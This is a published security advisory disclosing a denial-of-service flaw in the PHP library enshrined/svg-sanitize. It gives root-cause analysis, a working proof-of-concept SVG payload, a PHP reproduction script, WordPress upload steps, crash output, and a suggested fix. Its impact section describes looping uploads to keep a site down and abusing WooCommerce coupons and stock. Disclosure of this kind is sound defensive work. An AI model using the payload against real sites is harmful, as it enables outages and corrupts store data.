GHSA-v383-3rw5-q8rf
enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | enshrined/svg-sanitize | < 1.0.0 | 1.0.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
**Affected installations:**
- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- **WordPress Safe SVG plugin:** 1M+ active installs
- **TYPO3:** svg-sanitize integrated into core since v9
- **Drupal:** community module wrapping svg-sanitize
## Vulnerability Details
### Trigger Flow
```
Sanitizer::sanitize($malicious_svg)
→ DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr
→ startClean() → cleanAttributesOnWhitelist($svgElement)
→ "badhref" NOT in allowedAttrs
→ removeAttribute("badhref") ← removes explicit attribute (safe)
→ stripos("badhref", "href") = TRUE
→ getAttribute("badhref") ← returns DTD #FIXED default value
→ isHrefSafeValue("javascript:x") ← returns FALSE
→ removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH
```
**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.
**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.
### WordPress Code Path
```
User uploads SVG → WordPress wp_handle_upload()
→ filter 'wp_handle_upload_prefilter'
→ SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176]
→ SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218]
→ enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193]
→ cleanAttributesOnWhitelist() → double removeAttribute → CRASH
→ PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
```
## Proof of Concept
### Malicious SVG (evil.svg)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
<rect width="100" height="100" fill="red"/>
</svg>
```
### Standalone reproduction
```php
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('evil.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes\n";
// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134
```
### WordPress reproduction
1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
2. Login as Author → Media → Add New → upload `evil.svg`
3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed
### Confirmed output
```
$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap_chunk(): invalid pointer
$ echo $?
134
PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
```
## Impact
### Full Site Denial of Service
With `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.
### Application State Corruption
SIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:
- **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons
- **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items
- **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely
### Attack surface
Safe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.
**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.
| Scenario | Authentication | Affected installs |
|---|---|---|
| WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ |
| WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ |
| WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |
| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |
| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |
The strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.
## CVSS
**CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role)
`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
For custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)
## Suggested Fix
Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:
```php
// In Sanitizer::sanitize(), before loadXML():
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
```
## Environment
- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
- WordPress 6.9.4 + Safe SVG 2.4.0
- PHP 8.3.24 (fpm), NTS, x86_64
- nginx + PHP-FPM (Docker)
**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)
Denis Rostilov**
References
External links from the advisory. They lead to third-party sites.
- https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf
- https://nvd.nist.gov/vuln/detail/CVE-2026-107379
- https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867
- https://github.com/darylldoyle/svg-sanitizer
- https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0